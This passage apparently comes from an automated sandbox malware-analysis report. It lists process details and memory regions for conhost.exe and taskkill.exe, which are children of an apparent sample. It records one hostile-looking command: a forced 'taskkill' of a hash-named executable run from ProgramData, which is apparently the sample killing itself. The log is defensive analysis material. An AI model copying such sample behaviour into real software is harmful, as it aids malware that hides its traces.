_String2="RMDIR") returned -13 [0126.535] _wcsicmp (_String1="exit", _String2="PATH") returned -11 [0126.535] _wcsicmp (_String1="exit", _String2="GOTO") returned -2 [0126.535] _wcsicmp (_String1="exit", _String2="SHIFT") returned -14 [0126.535] _wcsicmp (_String1="exit", _String2="CLS") returned 2 [0126.535] _wcsicmp (_String1="exit", _String2="CALL") returned 2 [0126.535] _wcsicmp (_String1="exit", _String2="VERIFY") returned -17 [0126.535] _wcsicmp (_String1="exit", _String2="VER") returned -17 [0126.535] _wcsicmp (_String1="exit", _String2="VOL") returned -17 [0126.535] _wcsicmp (_String1="exit", _String2="EXIT") returned 0 [0126.535] GetProcessHeap () returned 0x550000 [0126.535] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0xc) returned 0x558618 [0126.535] GetProcessHeap () returned 0x550000 [0126.535] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x12) returned 0x557bf0 [0126.535] exit (_Code=0) Thread: id = 25 os_tid = 0x2d8 Process: id = "4" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x3a1c2000" os_pid = "0xc74" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x89c" cmd_line = "\\??\\C:\\Windows\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\Windows" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f142" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 999 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1000 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1001 start_va = 0x50000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 1002 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 1003 start_va = 0x400000 end_va = 0x5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 1004 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1005 start_va = 0x7df5fffc0000 end_va = 0x7df5fffe2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5fffc0000" filename = "" Region: id = 1006 start_va = 0x7df5ffff0000 end_va = 0x7ff5fffeffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffff0000" filename = "" Region: id = 1007 start_va = 0x7ff7a29a0000 end_va = 0x7ff7a29b0fff monitored = 0 entry_point = 0x7ff7a29a16b0 region_type = mapped_file name = "conhost.exe" filename = "\\Windows\\System32\\conhost.exe" (normalized: "c:\\windows\\system32\\conhost.exe") Region: id = 1008 start_va = 0x7ffb28b00000 end_va = 0x7ffb28cc0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1009 start_va = 0x760000 end_va = 0x85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000760000" filename = "" Region: id = 1010 start_va = 0x7ffb251b0000 end_va = 0x7ffb25397fff monitored = 0 entry_point = 0x7ffb251dba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1011 start_va = 0x7ffb26230000 end_va = 0x7ffb262dcfff monitored = 0 entry_point = 0x7ffb262481a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1012 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1013 start_va = 0x7df5ffec0000 end_va = 0x7df5fffbffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffec0000" filename = "" Region: id = 1014 start_va = 0x90000 end_va = 0x14dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1015 start_va = 0x7ffb264f0000 end_va = 0x7ffb2658cfff monitored = 0 entry_point = 0x7ffb264f78a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1016 start_va = 0x150000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 1017 start_va = 0x860000 end_va = 0x9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000860000" filename = "" Region: id = 1018 start_va = 0x20000 end_va = 0x26fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 1019 start_va = 0x7ffb0f420000 end_va = 0x7ffb0f478fff monitored = 0 entry_point = 0x7ffb0f42fbf0 region_type = mapped_file name = "conhostv2.dll" filename = "\\Windows\\System32\\ConhostV2.dll" (normalized: "c:\\windows\\system32\\conhostv2.dll") Region: id = 1020 start_va = 0x190000 end_va = 0x190fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 1021 start_va = 0x7ffb27e00000 end_va = 0x7ffb2807cfff monitored = 0 entry_point = 0x7ffb27ed4970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 1022 start_va = 0x7ffb26590000 end_va = 0x7ffb266abfff monitored = 0 entry_point = 0x7ffb265d02b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1023 start_va = 0x7ffb25640000 end_va = 0x7ffb256a9fff monitored = 0 entry_point = 0x7ffb25676d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 1024 start_va = 0x7ffb26090000 end_va = 0x7ffb261e5fff monitored = 0 entry_point = 0x7ffb2609a8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1025 start_va = 0x7ffb25f00000 end_va = 0x7ffb26085fff monitored = 0 entry_point = 0x7ffb25f4ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1026 start_va = 0x1a0000 end_va = 0x1a6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 1027 start_va = 0x7ffb281e0000 end_va = 0x7ffb28322fff monitored = 0 entry_point = 0x7ffb28208210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1028 start_va = 0x7ffb27d40000 end_va = 0x7ffb27d9afff monitored = 0 entry_point = 0x7ffb27d538b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1029 start_va = 0x7ffb261f0000 end_va = 0x7ffb2622afff monitored = 0 entry_point = 0x7ffb261f12f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1030 start_va = 0x7ffb288f0000 end_va = 0x7ffb289b0fff monitored = 0 entry_point = 0x7ffb28910da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1031 start_va = 0x7ffb23670000 end_va = 0x7ffb237f5fff monitored = 0 entry_point = 0x7ffb236bd700 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 1032 start_va = 0x1b0000 end_va = 0x1b0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 1033 start_va = 0x1c0000 end_va = 0x1c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 1034 start_va = 0x860000 end_va = 0x9e7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000860000" filename = "" Region: id = 1035 start_va = 0x9f0000 end_va = 0x9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009f0000" filename = "" Region: id = 1036 start_va = 0xa00000 end_va = 0xb80fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a00000" filename = "" Region: id = 1037 start_va = 0xb90000 end_va = 0x1f8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b90000" filename = "" Region: id = 1038 start_va = 0x600000 end_va = 0x72ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000600000" filename = "" Region: id = 1039 start_va = 0x600000 end_va = 0x63ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000600000" filename = "" Region: id = 1040 start_va = 0x720000 end_va = 0x72ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000720000" filename = "" Region: id = 1041 start_va = 0x7ffb25120000 end_va = 0x7ffb2512efff monitored = 0 entry_point = 0x7ffb25123210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 1042 start_va = 0x7ffb25130000 end_va = 0x7ffb2517afff monitored = 0 entry_point = 0x7ffb251335f0 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 1043 start_va = 0x7ffb25180000 end_va = 0x7ffb25193fff monitored = 0 entry_point = 0x7ffb251852e0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 1044 start_va = 0x7ffb256b0000 end_va = 0x7ffb25764fff monitored = 0 entry_point = 0x7ffb256f22e0 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 1045 start_va = 0x7ffb25800000 end_va = 0x7ffb25842fff monitored = 0 entry_point = 0x7ffb25814b50 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 1046 start_va = 0x7ffb25850000 end_va = 0x7ffb25e93fff monitored = 0 entry_point = 0x7ffb25a164b0 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\System32\\windows.storage.dll" (normalized: "c:\\windows\\system32\\windows.storage.dll") Region: id = 1047 start_va = 0x7ffb262e0000 end_va = 0x7ffb26331fff monitored = 0 entry_point = 0x7ffb262ef530 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 1048 start_va = 0x7ffb267e0000 end_va = 0x7ffb27d3efff monitored = 0 entry_point = 0x7ffb269411f0 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 1049 start_va = 0x7ffb28a50000 end_va = 0x7ffb28af6fff monitored = 0 entry_point = 0x7ffb28a658d0 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1050 start_va = 0x7ffb23aa0000 end_va = 0x7ffb23b35fff monitored = 0 entry_point = 0x7ffb23ac5570 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 1051 start_va = 0x640000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000640000" filename = "" Region: id = 1052 start_va = 0x1f90000 end_va = 0x22c6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1053 start_va = 0x50000 end_va = 0x51fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 1054 start_va = 0x60000 end_va = 0x60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 1055 start_va = 0x1d0000 end_va = 0x1f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cmd.exe.mui" filename = "\\Windows\\System32\\en-US\\cmd.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\cmd.exe.mui") Region: id = 1056 start_va = 0x640000 end_va = 0x699fff monitored = 1 entry_point = 0x6553f0 region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\System32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe") Region: id = 1057 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006b0000" filename = "" Region: id = 1058 start_va = 0x22d0000 end_va = 0x24edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022d0000" filename = "" Region: id = 1059 start_va = 0x24f0000 end_va = 0x2704fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024f0000" filename = "" Region: id = 1060 start_va = 0x2710000 end_va = 0x2824fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002710000" filename = "" Region: id = 1061 start_va = 0x2830000 end_va = 0x2a42fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002830000" filename = "" Region: id = 1062 start_va = 0x2a50000 end_va = 0x2b61fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002a50000" filename = "" Region: id = 1063 start_va = 0x640000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000640000" filename = "" Region: id = 1064 start_va = 0x7ffb28080000 end_va = 0x7ffb281d9fff monitored = 0 entry_point = 0x7ffb280c38e0 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1065 start_va = 0x70000 end_va = 0x70fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 1066 start_va = 0x2b70000 end_va = 0x2c2bfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b70000" filename = "" Region: id = 1067 start_va = 0x70000 end_va = 0x73fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 1068 start_va = 0x7ffb229b0000 end_va = 0x7ffb229d1fff monitored = 0 entry_point = 0x7ffb229b1a40 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 1069 start_va = 0x7ffb23860000 end_va = 0x7ffb23872fff monitored = 0 entry_point = 0x7ffb23862760 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 1070 start_va = 0x7ffb24f30000 end_va = 0x7ffb24f85fff monitored = 0 entry_point = 0x7ffb24f40bf0 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 1071 start_va = 0x80000 end_va = 0x86fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000080000" filename = "" Region: id = 1072 start_va = 0x1d0000 end_va = 0x1d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001d0000" filename = "" Region: id = 1073 start_va = 0x1e0000 end_va = 0x1e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1074 start_va = 0x1f0000 end_va = 0x1f4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "user32.dll.mui" filename = "\\Windows\\System32\\en-US\\user32.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\user32.dll.mui") Region: id = 1075 start_va = 0x680000 end_va = 0x680fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "conhostv2.dll.mui" filename = "\\Windows\\System32\\en-US\\ConhostV2.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\conhostv2.dll.mui") Region: id = 1076 start_va = 0x690000 end_va = 0x691fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000690000" filename = "" Region: id = 1077 start_va = 0x7ffb1c1d0000 end_va = 0x7ffb1c443fff monitored = 0 entry_point = 0x7ffb1c240400 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\WinSxS\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10586.0_none_8c15ae12515e1c22\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10586.0_none_8c15ae12515e1c22\\comctl32.dll") Region: id = 1078 start_va = 0x6a0000 end_va = 0x6a0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 1079 start_va = 0x6c0000 end_va = 0x6c1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006c0000" filename = "" Thread: id = 21 os_tid = 0xcb8 Thread: id = 22 os_tid = 0xcec Thread: id = 23 os_tid = 0x4d0 Thread: id = 24 os_tid = 0x77c Process: id = "5" image_name = "taskkill.exe" filename = "c:\\windows\\syswow64\\taskkill.exe" page_root = "0x38224000" os_pid = "0x788" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x89c" cmd_line = "taskkill /im 1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe /f " cur_dir = "C:\\ProgramData\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f142" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1089 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1090 start_va = 0x30000 end_va = 0x31fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 1091 start_va = 0x40000 end_va = 0x54fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 1092 start_va = 0x60000 end_va = 0x9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 1093 start_va = 0xa0000 end_va = 0xdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000a0000" filename = "" Region: id = 1094 start_va = 0xe0000 end_va = 0xe3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 1095 start_va = 0xf0000 end_va = 0xf0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 1096 start_va = 0x100000 end_va = 0x101fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 1097 start_va = 0x290000 end_va = 0x2a5fff monitored = 0 entry_point = 0x29de80 region_type = mapped_file name = "taskkill.exe" filename = "\\Windows\\SysWOW64\\taskkill.exe" (normalized: "c:\\windows\\syswow64\\taskkill.exe") Region: id = 1098 start_va = 0x2b0000 end_va = 0x42affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002b0000" filename = "" Region: id = 1099 start_va = 0x4400000 end_va = 0x45fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004400000" filename = "" Region: id = 1100 start_va = 0x778f0000 end_va = 0x77a6afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 1101 start_va = 0x7ffb0000 end_va = 0x7ffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007ffb0000" filename = "" Region: id = 1102 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1103 start_va = 0x7fff0000 end_va = 0x7dfb28afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 1104 start_va = 0x7dfb28b00000 end_va = 0x7ffb28afffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007dfb28b00000" filename = "" Region: id = 1105 start_va = 0x7ffb28b00000 end_va = 0x7ffb28cc0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1106 start_va = 0x7ffb28cc1000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffb28cc1000" filename = "" Region: id = 1107 start_va = 0x47d0000 end_va = 0x47dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000047d0000" filename = "" Region: id = 1108 start_va = 0x657b0000 end_va = 0x65829fff monitored = 0 entry_point = 0x657c3290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 1109 start_va = 0x65840000 end_va = 0x6588ffff monitored = 0 entry_point = 0x65858180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 1110 start_va = 0x74650000 end_va = 0x7472ffff monitored = 0 entry_point = 0x74663980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 1111 start_va = 0x65830000 end_va = 0x65837fff monitored = 0 entry_point = 0x658317c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 1112 start_va = 0x47e0000 end_va = 0x4a5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000047e0000" filename = "" Region: id = 1113 start_va = 0x74650000 end_va = 0x7472ffff monitored = 0 entry_point = 0x74663980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 1114 start_va = 0x75e80000 end_va = 0x75ffdfff monitored = 0 entry_point = 0x75f31b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 1115 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1116 start_va = 0x7feb0000 end_va = 0x7ffaffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007feb0000" filename = "" Region: id = 1117 start_va = 0x110000 end_va = 0x1cdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1118 start_va = 0x20000 end_va = 0x23fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 1119 start_va = 0x77820000 end_va = 0x7789afff monitored = 0 entry_point = 0x7783e970 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 1120 start_va = 0x75680000 end_va = 0x7573dfff monitored = 0 entry_point = 0x756b5630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 1121 start_va = 0x1d0000 end_va = 0x20ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 1122 start_va = 0x210000 end_va = 0x24ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 1123 start_va = 0x75740000 end_va = 0x75783fff monitored = 0 entry_point = 0x75759d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 1124 start_va = 0x74b50000 end_va = 0x74bfcfff monitored = 0 entry_point = 0x74b64f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 1125 start_va = 0x74620000 end_va = 0x7463dfff monitored = 0 entry_point = 0x7462b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 1126 start_va = 0x74610000 end_va = 0x74619fff monitored = 0 entry_point = 0x74612a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 1127 start_va = 0x74730000 end_va = 0x74787fff monitored = 0 entry_point = 0x747725c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 1128 start_va = 0x74790000 end_va = 0x748d6fff monitored = 0 entry_point = 0x747a1cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 1129 start_va = 0x758f0000 end_va = 0x75a3efff monitored = 0 entry_point = 0x759a6820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 1130 start_va = 0x76150000 end_va = 0x761e1fff monitored = 0 entry_point = 0x76188cf0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 1131 start_va = 0x754b0000 end_va = 0x7566cfff monitored = 0 entry_point = 0x75592a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 1132 start_va = 0x761f0000 end_va = 0x7624efff monitored = 0 entry_point = 0x761f4af0 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 1133 start_va = 0x75790000 end_va = 0x757d4fff monitored = 0 entry_point = 0x757ade90 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 1134 start_va = 0x6d450000 end_va = 0x6d457fff monitored = 0 entry_point = 0x6d4517b0 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 1135 start_va = 0x6d400000 end_va = 0x6d415fff monitored = 0 entry_point = 0x6d4021d0 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 1136 start_va = 0x6d3c0000 